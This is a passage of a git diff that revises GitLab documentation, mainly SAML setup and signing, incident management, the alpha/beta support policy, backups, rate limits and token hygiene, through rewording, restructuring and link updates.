| `https://gitlab.org/claims/groups/owner` | `array` | Names of the groups the user is a direct member of with Owner role |
| `https://gitlab.org/claims/groups/maintainer` | `array` | Names of the groups the user is a direct member of with Maintainer role |
| `https://gitlab.org/claims/groups/developer` | `array` | Names of the groups the user is a direct member of with Developer role |
diff --git a/doc/integration/recaptcha.md b/doc/integration/recaptcha.md
index 93d859dd183..3a8ec271e27 100644
--- a/doc/integration/recaptcha.md
+++ b/doc/integration/recaptcha.md
@@ -1,6 +1,6 @@
---
-stage: Manage
-group: Authentication and Authorization
+stage: Data Science
+group: Anti-Abuse
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
diff --git a/doc/integration/saml.md b/doc/integration/saml.md
index 84879b7c4c7..c42807f33cd 100644
--- a/doc/integration/saml.md
+++ b/doc/integration/saml.md
@@ -200,6 +200,8 @@ You can configure GitLab to use multiple SAML IdPs if:
- The `strategy_class` is explicitly set because it cannot be inferred from provider
name.
+[SAML Group Sync](../user/group/saml_sso/group_sync.md) does not support multiple IdPs. For more information, see [issue 386605](https://gitlab.com/gitlab-org/gitlab/-/issues/386605).
+
Example provider's configuration for installations from source:
```yaml
@@ -726,9 +728,9 @@ This also sets the `username` attribute in your SAML Response to the username in
### Allow for clock drift
-The clock of the Identity Provider may drift slightly ahead of your system clocks.
-To allow for a small amount of clock drift, you can use `allowed_clock_drift` in
-your settings. Its value must be given in a number (and/or fraction) of seconds.
+The clock of the IdP may drift slightly ahead of your system clocks.
+To allow for a small amount of clock drift, use `allowed_clock_drift` in
+your settings. You must enter the parameter's value in a number and fraction of seconds.
The value given is added to the current time at which the response is validated.
```yaml
@@ -772,15 +774,20 @@ unchangeable.
## Assertion encryption (optional)
-GitLab requires the use of TLS encryption with SAML 2.0, but in some cases there can be a
-need for additional encryption of the assertions.
+GitLab requires the use of TLS encryption with SAML 2.0. Sometimes, GitLab needs
+additional assertion encryption. For example, if you:
+
+- Terminate TLS encryption early at a load balancer.
+- Include sensitive details in assertions that you do not want appearing in logs.
-This may be the case, for example, if you terminate TLS encryption early at a load
-balancer and include sensitive details in assertions that you do not want appearing
-in logs. Most organizations should not need additional encryption at this layer.
+Most organizations should not need additional encryption at this layer.
-The SAML integration supports EncryptedAssertion. You should define the private
-key and the public certificate of your GitLab instance in the SAML settings. When you define the key and certificate, replace all line feeds in the key file with `\n`. This makes the key file one long string with no line feeds.
+The SAML integration supports `EncryptedAssertion`. To encrypt your assertions,
+define the private key and the public certificate of your GitLab instance in the
+SAML settings.
+
+When you define the key and certificate, replace all line feeds in the key file with `\n`.
+This makes the key file one long string with no line feeds.
```yaml
args: {
@@ -794,23 +801,24 @@ args: {
}
```
-Your Identity Provider encrypts the assertion with the public certificate of GitLab. GitLab decrypts the EncryptedAssertion with its private key.
+Your IdP encrypts the assertion with the public certificate of GitLab.
+GitLab decrypts the `EncryptedAssertion` with its private key.
NOTE:
-This integration uses the `certificate` and `private_key` settings for both assertion encryption and request signing.
+This integration uses the `certificate` and `private_key` settings for both
+assertion encryption and request signing.
## Sign SAML authentication requests (optional)
-Another optional configuration is to sign SAML authentication requests. GitLab
-SAML Requests use the SAML redirect binding, so this isn't necessary (unlike the
-SAML POST binding, where signing is required to prevent intermediaries from
-tampering with the requests).
+You can configure GitLab to sign SAML authentication requests. This configuration
+is optional because GitLab SAML requests use the SAML redirect binding.
-To sign, create a private key and public certificate pair for your
-GitLab instance to use for SAML. The settings for signing can be set in the
-`security` section of the configuration.
+To implement signing:
-For example:
+1. Create a private key and public certificate pair for your GitLab instance to
+ use for SAML.
+1. Configure the signing settings in the `security` section of the configuration.
+ For example:
```yaml
args: {
@@ -831,60 +839,57 @@ args: {
}
```
-GitLab signs the request with the provided private key. GitLab includes the configured public x500 certificate in the metadata for your Identity Provider to validate the signature of the received request with. For more information on this option, see the [Ruby SAML gem documentation](https://github.com/onelogin/ruby-saml/tree/v1.7.0). The Ruby SAML gem is used by the [OmniAuth SAML gem](https://github.com/omniauth/omniauth-saml) to implement the client side of the SAML authentication.
+GitLab then:
+
+- Signs the request with the provided private key.
+- Includes the configured public x500 certificate in the metadata for your IdP
+ to validate the signature of the received request with.
+
+For more information on this option, see the
+[Ruby SAML gem documentation](https://github.com/onelogin/ruby-saml/tree/v1.7.0).
+
+The Ruby SAML gem is used by the
+[OmniAuth SAML gem](https://github.com/omniauth/omniauth-saml) to implement the
+client side of the SAML authentication.
+
+NOTE:
+The SAML redirect binding is different to the SAML POST binding. In the POST binding,
+signing is required to prevent intermediaries from tampering with the requests.
## Password generation for users created through SAML
-The [Generated passwords for users created through integrated authentication](../security/passwords_for_integrated_authentication_methods.md) guide provides an overview of how GitLab generates and sets passwords for users created via SAML.
+GitLab [generates and sets passwords for users created through SAML](../security/passwords_for_integrated_authentication_methods.md).
-Users authenticated with SSO or SAML must not use a password for Git operations over HTTPS. These users can do one of the following instead:
+Users authenticated with SSO or SAML must not use a password for Git operations
+over HTTPS. These users can instead:
- Set up a [personal access token](../user/profile/personal_access_tokens.md).
-- Use the [Git Credential Manager](../user/profile/account/two_factor_authentication.md#git-credential-manager) which securely authenticates using OAuth.
+- Use the [Git Credential Manager](../user/profile/account/two_factor_authentication.md#git-credential-manager)
+ which securely authenticates using OAuth.
## Link SAML identity for an existing user
A user can manually link their SAML identity to an existing GitLab account by following the steps in
[Enable OmniAuth for an existing user](omniauth.md#enable-omniauth-for-an-existing-user).
-## Group SAML on a self-managed GitLab instance **(PREMIUM SELF)**
-
-For information on the GitLab.com implementation, please see the [SAML SSO for GitLab.com groups page](../user/group/saml_sso).
-
-Group SAML SSO helps if you have to allow access via multiple SAML identity providers, but as a multi-tenant solution is less suited to cases where you administer your own GitLab instance.
-
-To proceed with configuring Group SAML SSO instead, enable the `group_saml` OmniAuth provider. This can be done from:
-
-- `gitlab.rb` for Omnibus GitLab installations.
-- `gitlab/config/gitlab.yml` for source installations.
-
-### Self-managed instance group SAML limitations
+## Configure group SAML SSO on a self-managed instance **(PREMIUM SELF)**
-Group SAML on a self-managed instance is limited when compared to the recommended
-[instance-wide SAML](../user/group/saml_sso/index.md). The recommended solution allows you to take advantage of:
+Use group SAML SSO if you have to allow access through multiple SAML IdPs on your
+self-managed instance.
-- [LDAP compatibility](../administration/auth/ldap/index.md).
-- [LDAP Group Sync](../user/group/access_and_permissions.md#manage-group-memberships-via-ldap).
-- [Required groups](#required-groups).
-- [Administrator groups](#administrator-groups).
-- [Auditor groups](#auditor-groups).
+To configure group SAML SSO:
-For Omnibus installations:
+1. [Configure GitLab with HTTPS](../install/installation.md#using-https).
+1. Enable OmniAuth and the `group_saml` provider.
-1. Make sure GitLab is
- [configured with HTTPS](../install/installation.md#using-https).
-1. Enable OmniAuth and the `group_saml` provider in `gitlab.rb`:
+ To do this for Omnibus GitLab installations, edit `gitlab.rb`:
```ruby
gitlab_rails['omniauth_enabled'] = true
gitlab_rails['omniauth_providers'] = [{ name: 'group_saml' }]
```
-For installations from source:
-
-1. Make sure GitLab is
- [configured with HTTPS](../install/installation.md#using-https).
-1. Enable OmniAuth and the `group_saml` provider in `gitlab/config/gitlab.yml`:
+ For installations from source, edit `gitlab/config/gitlab.yml`:
```yaml
omniauth:
@@ -893,25 +898,36 @@ For installations from source:
- { name: 'group_saml' }
```
+As a multi-tenant solution, group SAML on a self-managed instance is limited compared
+to the recommended [instance-wide SAML](../user/group/saml_sso/index.md). Use
+instance-wide SAML to take advantage of:
+
+- [LDAP compatibility](../administration/auth/ldap/index.md).
+- [LDAP Group Sync](../user/group/access_and_permissions.md#manage-group-memberships-via-ldap).
+- [Required groups](#required-groups).
+- [Administrator groups](#administrator-groups).
+- [Auditor groups](#auditor-groups).
+
## Additional configuration for SAML apps on your IdP
-When configuring a SAML app on the IdP, your identity provider may require additional configuration, such as the following:
+When configuring a SAML app on the IdP, your IdP may need additional configuration,
+such as the following:
| Field | Value | Notes |
|-------|-------|-------|
-| SAML profile | Web browser SSO profile | GitLab uses SAML to sign users in through their browser. No requests are made directly to the identity provider. |
-| SAML request binding | HTTP Redirect | GitLab (the service provider) redirects users to your identity provider with a base64 encoded `SAMLRequest` HTTP parameter. |
-| SAML response binding | HTTP POST | Specifies how the SAML token is sent by your identity provider. Includes the `SAMLResponse`, which a user's browser submits back to GitLab. |
+| SAML profile | Web browser SSO profile | GitLab uses SAML to sign users in through their browser. No requests are made directly to the IdP. |
+| SAML request binding | HTTP Redirect | GitLab (the SP) redirects users to your IdP with a base64 encoded `SAMLRequest` HTTP parameter. |
+| SAML response binding | HTTP POST | Specifies how the SAML token is sent by your IdP. Includes the `SAMLResponse`, which a user's browser submits back to GitLab. |
| Sign SAML response | Required | Prevents tampering. |
-| X.509 certificate in response | Required | Signs the response and checks against the provided fingerprint. |
-| Fingerprint algorithm | SHA-1 | GitLab uses a SHA-1 hash of the certificate to sign the SAML Response. |
+| X.509 certificate in response | Required | Signs the response and checks the response against the provided fingerprint. |
+| Fingerprint algorithm | SHA-1 | GitLab uses a SHA-1 hash of the certificate to sign the SAML Response. |
| Signature algorithm | SHA-1/SHA-256/SHA-384/SHA-512 | Determines how a response is signed. Also known as the digest method, this can be specified in the SAML response. |
| Encrypt SAML assertion | Optional | Uses TLS between your identity provider, the user's browser, and GitLab. |
| Sign SAML assertion | Optional | Validates the integrity of a SAML assertion. When active, signs the whole response. |
| Check SAML request signature | Optional | Checks the signature on the SAML response. |
-| Default RelayState | Optional | Specifies the URL users should end up on after successfully signing in through SAML at your identity provider. |
+| Default RelayState | Optional | Specifies the URL users should end up on after successfully signing in through SAML at your IdP. |
| NameID format | Persistent | See [NameID format details](../user/group/saml_sso/index.md#nameid-format). |
-| Additional URLs | Optional | May include the issuer (or identifier) or the assertion consumer service URL in other fields on some providers. |
+| Additional URLs | Optional | May include the issuer, identifier, or assertion consumer service URL in other fields on some providers. |
For example configurations, see the [notes on specific providers](#set-up-identity-providers).
@@ -919,13 +935,13 @@ For example configurations, see the [notes on specific providers](#set-up-identi
| Term | Description |
|--------------------------------|-------------|
-| Identity provider (IdP) | The service which manages your user identities, such as Okta or OneLogin. |
-| Service provider (SP) | GitLab can be configured as a SAML 2.0 SP. |
-| Assertion | A piece of information about a user's identity, such as their name or role. Also known as claims or attributes. |
-| Single Sign-On (SSO) | Name of authentication scheme. |
-| Assertion consumer service URL | The callback on GitLab where users are redirected after successfully authenticating with the identity provider. |
-| Issuer | How GitLab identifies itself to the identity provider. Also known as a "Relying party trust identifier". |
-| Certificate fingerprint | Used to confirm that communications over SAML are secure by checking that the server is signing communications with the correct certificate. Also known as a certificate thumbprint. |
+| Identity provider (IdP) | The service that manages your user identities, such as Okta or OneLogin. |
+| Service provider (SP) | Consumes assertions from a SAML IdP, such as Okta, to authenticate users. You can configure GitLab as a SAML 2.0 SP. |
+| Assertion | A piece of information about a user's identity, such as their name or role. Also known as a claim or an attribute. |
+| Single Sign-On (SSO) | Name of the authentication scheme. |
+| Assertion consumer service URL | The callback on GitLab where users are redirected after successfully authenticating with the IdP. |
+| Issuer | How GitLab identifies itself to the IdP. Also known as a "Relying party trust identifier". |
+| Certificate fingerprint | Confirms that communications over SAML are secure by checking that the server is signing communications with the correct certificate. Also known as a certificate thumbprint. |
## Troubleshooting
diff --git a/doc/integration/vault.md b/doc/integration/vault.md
index 2226dc4cfd4..ddb21e68bf8 100644
--- a/doc/integration/vault.md
+++ b/doc/integration/vault.md
@@ -122,7 +122,7 @@ Otherwise, anyone with a public account can access your Vault instance.
![Sign into Vault with GitLab](img/sign_into_vault_with_gitlab_v12_6.png)
-1. To allow Vault to sign in through GitLab, select **Authorize**. This redirects you back to your Vault UI as a signed-in user.
+1. To allow Vault to sign in through GitLab, select **Authorize**. This redirects you back to your Vault UI as an authenticated user.
![Authorize Vault to connect with GitLab](img/authorize_vault_with_gitlab_v12_6.png)
diff --git a/doc/operations/feature_flags.md b/doc/operations/feature_flags.md
index fff2c8ffbf7..b6e200c3ec4 100644
--- a/doc/operations/feature_flags.md
+++ b/doc/operations/feature_flags.md
@@ -14,7 +14,7 @@ Feature flags help reduce risk, allowing you to do controlled testing, and separ
delivery from customer launch.
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-For an example of feature flags in action, see [GitLab for deploys, feature flags, and error tracking](https://www.youtube.com/embed/5tw2p6lwXxo).
+For an example of feature flags in action, see [GitLab for deploys, feature flags, and error tracking](https://www.youtube.com/watch?v=5tw2p6lwXxo).
NOTE:
To contribute to the development of the GitLab product, view
@@ -132,7 +132,7 @@ For example, set a value of 15% to enable the feature for 15% of authenticated u
The rollout percentage can be from 0% to 100%.
-Stickiness (consistent application behavior for the same user) is guaranteed for logged-in users,
+Stickiness (consistent application behavior for the same user) is guaranteed for authenticated users,
but not anonymous users.
Note that [percent rollout](#percent-rollout) with a consistency based on **User IDs** has the same
@@ -395,6 +395,9 @@ docker run \
| `UNLEASH_APP_NAME` | The name of the environment the application runs in. For more details, read [Get access credentials](#get-access-credentials). |
| `UNLEASH_API_TOKEN` | Required to start the Unleash Proxy, but not used to connect to GitLab. Can be set to any value. |
+There is a limitation when using the Unleash Proxy where each proxy instance can request flags only for the environment named in `UNLEASH_APP_NAME`. The Proxy sends
+this to GitLab on behalf of the client, which means the client can't override it.
+
## Feature flag related issues **(PREMIUM)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36617) in GitLab 13.2.
diff --git a/doc/operations/incident_management/alerts.md b/doc/operations/incident_management/alerts.md
index 0dffa15351c..d42ee237749 100644
--- a/doc/operations/incident_management/alerts.md
+++ b/doc/operations/incident_management/alerts.md
@@ -37,11 +37,6 @@ The alert list displays the following information:
- **Resolved**: No further work is required.
- **Ignored**: No action will be taken on the alert.
-NOTE:
-Check out a live example available from the
-[`tanuki-inc` project page](https://gitlab.com/gitlab-examples/ops/incident-setup/everyone/tanuki-inc)
-in GitLab to examine alerts in action.
-
## Alert severity
Each level of alert contains a uniquely shaped and color-coded icon to help
@@ -70,10 +65,6 @@ Alerts contain one of the following icons:
Navigate to the Alert details view by visiting the [Alert list](alerts.md)
and selecting an alert from the list. You need at least the Developer role
to access alerts.
-
-NOTE:
-To review live examples of GitLab alerts, visit the
-[alert list](https://gitlab.com/gitlab-examples/ops/incident-setup/everyone/tanuki-inc/-/alert_management)
for this demo project. Select any alert in the list to examine its alert details
page.
diff --git a/doc/operations/incident_management/img/incident_list_v15_6.png b/doc/operations/incident_management/img/incident_list_v15_6.png
index fe2a91e2eba..2a13ed6d311 100644
--- a/doc/operations/incident_management/img/incident_list_v15_6.png
+++ b/doc/operations/incident_management/img/incident_list_v15_6.png
Binary files differ
diff --git a/doc/operations/incident_management/linked_resources.md b/doc/operations/incident_management/linked_resources.md
index eb289076424..96edd41c12f 100644
--- a/doc/operations/incident_management/linked_resources.md
+++ b/doc/operations/incident_management/linked_resources.md
@@ -48,7 +48,7 @@ To add a linked resource:
1. Complete the required fields.
1. Select **Add**.
-### Using a quick action **(PREMIUM)**
+### Using a quick action
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/374964) in GitLab 15.5.
@@ -66,7 +66,7 @@ The description shows instead of the URL in the **Linked resources** section of
/link https://example.link.us/j/123456789 multiple alerts firing
```
-### Link Zoom meetings from an incident **(PREMIUM)**
+### Link Zoom meetings from an incident
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230853) in GitLab 15.4.
diff --git a/doc/operations/incident_management/slack.md b/doc/operations/incident_management/slack.md
index 1ab1391ea2a..0e7a85142f6 100644
--- a/doc/operations/incident_management/slack.md
+++ b/doc/operations/incident_management/slack.md
@@ -34,7 +34,7 @@ Prerequisites:
1. Install the [GitLab for Slack app](../../user/project/integrations/gitlab_slack_application.md).
This way, you can use slash commands in Slack to create and update GitLab incidents.
1. Enable [Slack notifications](../../user/project/integrations/slack.md). Be sure to enable
- notifications for `Issue` events, and to define a Slack channel to receive the relevant notifications.
+ notifications for `Incident` events, and to define a Slack channel to receive the relevant notifications.
1. Authorize GitLab to take actions on behalf of your Slack user.
Each user must do this before they can use any of the incident slash commands.
@@ -113,5 +113,5 @@ Slack shows a prompt asking you to confirm which incident you'd like to close.
## Send GitLab incident notifications to Slack
-If you have [enabled notifications](#manage-an-incident-from-slack) for issues, you should receive
+If you have [enabled notifications](#manage-an-incident-from-slack) for incidents, you should receive
notifications to the selected Slack channel every time an incident is opened, closed, or updated.
diff --git a/doc/operations/metrics/alerts.md b/doc/operations/metrics/alerts.md
index 4b6bc91cc73..44cd683bc4f 100644
--- a/doc/operations/metrics/alerts.md
+++ b/doc/operations/metrics/alerts.md
@@ -57,11 +57,14 @@ values extracted from the `alerts` field in the
- Alert severity:
Extracted from the alert payload field `labels/severity`. Maps case-insensitive
value to [Alert's severity](../incident_management/alerts.md#alert-severity):
- - **Critical**: `critical`, `s1`, `p1`, `emergency`, `fatal`, or any value not in this list
- - **High**: `high`, `s2`, `p2`, `major`, `page`
- - **Medium**: `medium`, `s3`, `p3`, `error`, `alert`
- - **Low**: `low`, `s4`, `p4`, `warn`, `warning`
- - **Info**: `info`, `s5`, `p5`, `debug`, `information`, `notice`
+
+ | Alert payload | Mapped to alert severity |
+ | ------------- | --------------------------------------------------------------------------- |
+ | Critical | `critical`, `s1`, `p1`, `emergency`, `fatal`, or any value not in this list |
+ | High | `high`, `s2`, `p2`, `major`, `page` |
+ | Medium | `medium`, `s3`, `p3`, `error`, `alert` |
+ | Low | `low`, `s4`, `p4`, `warn`, `warning` |
+ | Info | `info`, `s5`, `p5`, `debug`, `information`, `notice` |
To further customize the incident, you can add labels, mentions, or any other supported
[quick action](../../user/project/quick_actions.md) in the selected issue template,
diff --git a/doc/operations/metrics/embed_grafana.md b/doc/operations/metrics/embed_grafana.md
index 43a7447a978..15969f0d6be 100644
--- a/doc/operations/metrics/embed_grafana.md
+++ b/doc/operations/metrics/embed_grafana.md
@@ -25,7 +25,7 @@ To use Grafana-rendered images:
1. Go to the dashboard containing the panel in Grafana.
1. From the panel's menu, select **Share**.
-1. Select the **Direct link rendered image** button, which provides the link.
+1. Select **Direct link rendered image**, which provides the link.
1. Copy the link and add an image tag as [inline HTML](../../user/markdown.md#inline-html) in your
Markdown in the format `<img src="your_link"/>`. You can tweak the query parameters to meet your needs, such as removing the `&from=`
and `&to=` parameters to display a live panel.
diff --git a/doc/operations/metrics/index.md b/doc/operations/metrics/index.md
index 3c2790a96b7..0ecb63807fb 100644
--- a/doc/operations/metrics/index.md
+++ b/doc/operations/metrics/index.md
@@ -123,7 +123,7 @@ Custom metrics can be monitored by adding them on the monitoring dashboard page.
After saving them, they display on the environment metrics dashboard provided that either:
- A [connected Kubernetes cluster](../../user/clusters/agent/index.md)
- with the matching [environment scope](../../ci/environments/index.md#scope-environments-with-specs) is used and
+ with the matching [environment scope](../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable) is used and
[Prometheus installed on the cluster](../../user/project/integrations/prometheus.md#enabling-prometheus-integration).
- Prometheus is [manually configured](../../user/project/integrations/prometheus.md#manual-configuration-of-prometheus).
diff --git a/doc/policy/alpha-beta-support.md b/doc/policy/alpha-beta-support.md
index 8d9b1f270f3..5a7c1962d12 100644
--- a/doc/policy/alpha-beta-support.md
+++ b/doc/policy/alpha-beta-support.md
@@ -4,39 +4,60 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-<!-- any changes made to this page should be reflected in https://about.gitlab.com/support/statement-of-support/#alpha-beta-features and https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga -->
+# Support for Alpha, Beta, Limited Availability, and Generally Available features **(PREMIUM)**
-# Support for Alpha, Beta, Limited Availability, and Generally Available Features **(PREMIUM)**
+Some GitLab features are released as Alpha or Beta versions and are
+[not fully supported](https://about.gitlab.com/support/statement-of-support/#alpha-beta-features).
+All other features are considered to be Generally Available (GA).
-Some GitLab features are released as [Alpha or Beta versions](https://about.gitlab.com/support/statement-of-support/#alpha-beta-features) which are not fully supported. All other features are considered to be Generally Available (GA).
+## Alpha features
-## Alpha Features
+Support is **not** provided for Alpha features and issues with them should be opened in the [GitLab issue tracker](https://gitlab.com/gitlab-org/gitlab/issues).
-Characteristics of alpha features:
+Characteristics of Alpha features:
- Not ready for production use.
- Unstable and can cause performance and stability issues.
- Configuration and dependencies are likely to change.
- Features and functions may be removed.
- Data loss can occur (be that through bugs or updates).
+- Documentation reflects the Alpha status.
+- Behind flags that are off by default.
+- Not announced in release posts.
-Support is **not** provided for Alpha features and issues with them should be opened in the [GitLab issue tracker](https://gitlab.com/gitlab-org/gitlab/issues).
+## Beta features
+
+Your Support Contract provides **commercially-reasonable effort** support for Beta features, with the expectation that issues require extra time and assistance from development to troubleshoot.
-## Beta Features
+### Closed Beta features
-Characteristics of beta features:
+Closed Beta features are available to selected users only.
- Not ready for production use.
- Unstable and can cause performance and stability issues.
-- Configuration and dependencies are not likely to change.
-- Features and functions are not likely to change.
-- Data loss is not likely.
+- Configuration and dependencies unlikely to change.
+- Features and functions unlikely to change.
+- Data loss less likely.
+- Behind a feature flag that is off by default and the UI reflects Beta status.
+- Documentation reflects Beta status.
+- Can be announced in a release post that reflects Beta status.
-Your Support Contract provides **commercially-reasonable effort** support for Beta features, with the expectation that issues require extra time and assistance from development to troubleshoot.
+### Open Beta features
+
+- Not ready for production use.
+- Unstable and can cause performance and stability issues.
+- Configuration and dependencies unlikely to change.
+- Features and functions unlikely to change.
+- Data loss not likely.
+- Support on a commercially-reasonable effort basis.
+- Documentation reflects Beta status.
+- Behind a feature flag that is on by default and the UI reflects Beta status.
+- Behind a toggle that is off by default and the UI reflects Beta status.
+- Can be announced in a release post that reflects Beta status.
## Limited Availability (LA)
-Characteristics of limited availability features:
+Characteristics of Limited Availability features:
- Ready for production use by a small set of customers.
- Can be booked by Deal Desk as part of an order.
diff --git a/doc/raketasks/backup_gitlab.md b/doc/raketasks/backup_gitlab.md
index aea61e36037..771120df1c3 100644
--- a/doc/raketasks/backup_gitlab.md
+++ b/doc/raketasks/backup_gitlab.md
@@ -332,8 +332,16 @@ FLAG:
On self-managed GitLab, by default this feature is available. To hide the feature, ask an administrator to [disable the feature flag](../administration/feature_flags.md) named `incremental_repository_backup`.
On GitLab.com, this feature is not available.
-Incremental backups can be faster than full backups because they only pack changes since the last backup into the backup
-bundle for each repository. There must be an existing backup to create an incremental backup from:
+NOTE:
+Only repositories support incremental backups. Therefore, if you use `INCREMENTAL=yes`, the task
+creates a self-contained backup tar archive. This is because all subtasks except repositories are
+still creating full backups (they overwrite the existing full backup).
+See [issue 19256](https://gitlab.com/gitlab-org/gitlab/-/issues/19256) for a feature request to
+support incremental backups for all subtasks.
+
+Incremental repository backups can be faster than full repository backups because they only pack changes since the last backup into the backup bundle for each repository.
+The incremental backup archives are not linked to each other: each archive is a self-contained backup of the instance. There must be an existing backup
+to create an incremental backup from:
- In GitLab 14.9 and 14.10, use the `BACKUP=<timestamp_of_backup>` option to choose the backup to use. The chosen previous backup is overwritten.
- In GitLab 15.0 and later, use the `PREVIOUS_BACKUP=<timestamp_of_backup>` option to choose the backup to use. By default, a backup file is created
@@ -892,7 +900,7 @@ When troubleshooting backup problems, however, replace `CRON=1` with `--trace` t
## Limit backup lifetime for local files (prune old backups)
WARNING:
-The process described in this section don't work if you used a [custom filename](#backup-filename)
+The process described in this section doesn't work if you used a [custom filename](#backup-filename)
for your backups.
To prevent regular backups from using all your disk space, you may want to set a limited lifetime
diff --git a/doc/raketasks/import.md b/doc/raketasks/import.md
index 6e7ba45167c..05c51fa06d8 100644
--- a/doc/raketasks/import.md
+++ b/doc/raketasks/import.md
@@ -4,12 +4,24 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Import bare repositories **(FREE SELF)**
+# Import bare repositories (deprecated) **(FREE SELF)**
+
+WARNING:
+The Rake task for importing bare repositories was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108507)
+in GitLab 15.8 and will be removed in GitLab 16.0.
+
+Alternatives to using the `gitlab:import:repos` Rake task include:
+
+- Migrating projects using either [an export file](../user/project/settings/import_export.md) or [direct transfer](../user/group/import/index.md#migrate-groups-by-direct-transfer-recommended) migrate repositories as well.
+- Importing a [repository by URL](../user/project/import/repo_by_url.md).
+- Importing a [repositories from a non-GitLab source](../user/project/import/index.md).
Rake tasks are available to import bare repositories into a GitLab instance.
-When migrating from an existing GitLab instance,
-and to preserve ownership by users and their namespaces,
-use [our project-based import/export](../user/project/settings/import_export.md).
+When migrating from an existing GitLab instance, and to preserve ownership by users and their namespaces,
+migrate projects using either:
+
+- [Direct transfer](../user/group/import/index.md#migrate-groups-by-direct-transfer-recommended).
+- [An export file](../user/project/settings/import_export.md).
Note that:
diff --git a/doc/raketasks/restore_gitlab.md b/doc/raketasks/restore_gitlab.md
index 61198a3d9ca..c97a71b1b5d 100644
--- a/doc/raketasks/restore_gitlab.md
+++ b/doc/raketasks/restore_gitlab.md
@@ -20,6 +20,8 @@ If your backup is a different version than the current installation, you must
[downgrade](../update/package/downgrade.md) or [upgrade](../update/package/index.md#upgrade-to-a-specific-version-using-the-official-repositories) your GitLab installation
before restoring the backup.
+Each backup archive contains a full self-contained backup, including those created through the [incremental repository backup procedure](backup_gitlab.md#incremental-repository-backups). To restore an incremental repository backup, use the same instructions as restoring any other regular backup archive.
+
## Restore prerequisites
You need to have a working GitLab installation before you can perform a
diff --git a/doc/security/rate_limits.md b/doc/security/rate_limits.md
index 929609cd4a4..26a17ef2c2c 100644
--- a/doc/security/rate_limits.md
+++ b/doc/security/rate_limits.md
@@ -74,13 +74,7 @@ For configuration information, see
### Git operations using SSH
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/78373) in GitLab 14.7 [with a flag](../administration/feature_flags.md) named `rate_limit_gitlab_shell`. Disabled by default.
-> - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/79419) in GitLab 14.8.
-
-FLAG:
-On self-managed GitLab, by default this feature is available. To disable the feature, ask an administrator to
-[disable the feature flag](../administration/feature_flags.md) named `rate_limit_gitlab_shell`. On GitLab.com, this feature
-is available.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/78373) in GitLab 14.7 [with a flag](../administration/feature_flags.md) named `rate_limit_gitlab_shell`. Available by default without a feature flag from 15.8.
GitLab applies rate limits to Git operations that use SSH by user account and project. When the rate limit is exceeded, GitLab rejects
further connection requests from that user for the project.
@@ -130,7 +124,7 @@ The **rate limit** is 20 calls per minute per IP address.
There is a rate limit on how frequently a username can be changed. This is enforced to mitigate misuse of the feature. For example, to mass discover
which usernames are in use.
-The **rate limit** is 10 calls per minute per signed-in user.
+The **rate limit** is 10 calls per minute per authenticated user.
### Username exists
@@ -152,7 +146,7 @@ The feature is not ready for production use.
There is a rate limit for the endpoint `project/:id/jobs`, which is enforced to reduce timeouts when retrieving jobs.
-The **rate limit** is 600 calls per minute per signed-in user.
+The **rate limit** is 600 calls per minute per authenticated user.
## Troubleshooting
diff --git a/doc/security/token_overview.md b/doc/security/token_overview.md
index 0c9734cad36..64336f96274 100644
--- a/doc/security/token_overview.md
+++ b/doc/security/token_overview.md
@@ -134,6 +134,6 @@ This table shows available scopes per token. Scopes can be limited further on to
- When creating a token, consider setting a token that expires when your task is complete. For example, if performing a one-off import, set the
token to expire after a few hours or a day. This reduces the impact of a token that is accidentally leaked because it is useless when it expires.
- Be careful not to include tokens when pasting code, console commands, or log outputs into an issue or MR description or comment.
-- Don’t log credentials in the console logs. Consider [protecting](../ci/variables/index.md#protected-cicd-variables) and
+- Don’t log credentials in the console logs. Consider [protecting](../ci/variables/index.md#protect-a-cicd-variable) and
[masking](../ci/variables/index.md#mask-a-cicd-variable) your credentials.
- Review all currently active access tokens of all types on a regular basis and revoke any that are no longer needed.
diff --git a/doc/subscriptions/bronze_starter.md b/doc/subscriptions/bronze_starter.md
index ec932f2384b..91da875a049 100644
--- a/doc/subscriptions/bronze_starter.md
+++ b/doc/subscriptions/bronze_starter.md
@@ -63,7 +63,7 @@ the tiers are no longer mentioned in GitLab documentation:
- [`audit_json.log`](../administration/logs/index.md#audit_jsonlog) (specific entries)
- [`elasticsearch.log`](../administration/logs/index.md#elasticsearchlog)
- Merge requests:
- - [Full code quality reports in the code quality tab](../ci/testing/code_quality.md#code-quality-reports)
+ - [Full code quality reports in the code quality tab](../ci/testing/code_quality.md#pipeline-details-view)
- [Merge request approvals](../user/project/merge_requests/approvals/index.md)
- [Multiple assignees](../user/project/merge_requests/index.md#assign-multiple-users)
- [Approval Rule information for Reviewers](../user/project/merge_requests/reviews/index.md#approval-rule-information-for-reviewers)
@@ -104,8 +104,8 @@ the tiers are no longer mentioned in GitLab documentation:
- [External groups](../integration/saml.md#external-groups)
- [Required groups](../integration/saml.md#required-groups)
- Search:
- - [Filtering merge requests by approvers](../user/project/merge_requests/index.md#filter-merge-requests-by-approvers)
- - [Filtering merge requests by "approved by"](../user/project/merge_requests/index.md#filter-merge-requests-by-approved-by)
+ - [Filtering merge requests](../user/project/merge_requests/index.md#filter-the-list-of-merge-requests) by approvers
+ - [Filtering merge requests](../user/project/merge_requests/index.md#filter-the-list-of-merge-requests) by "approved by"
- [Advanced Search (Elasticsearch)](../user/search/advanced_search.md)
- [Service Desk](../user/project/service_desk.md)
- [Storage usage statistics](../user/usage_quotas.md#storage-usage-statistics)
diff --git a/doc/subscriptions/gitlab_com/index.md b/doc/subscriptions/gitlab_com/index.md
index 552e9c46c4a..8fce04ec109 100644
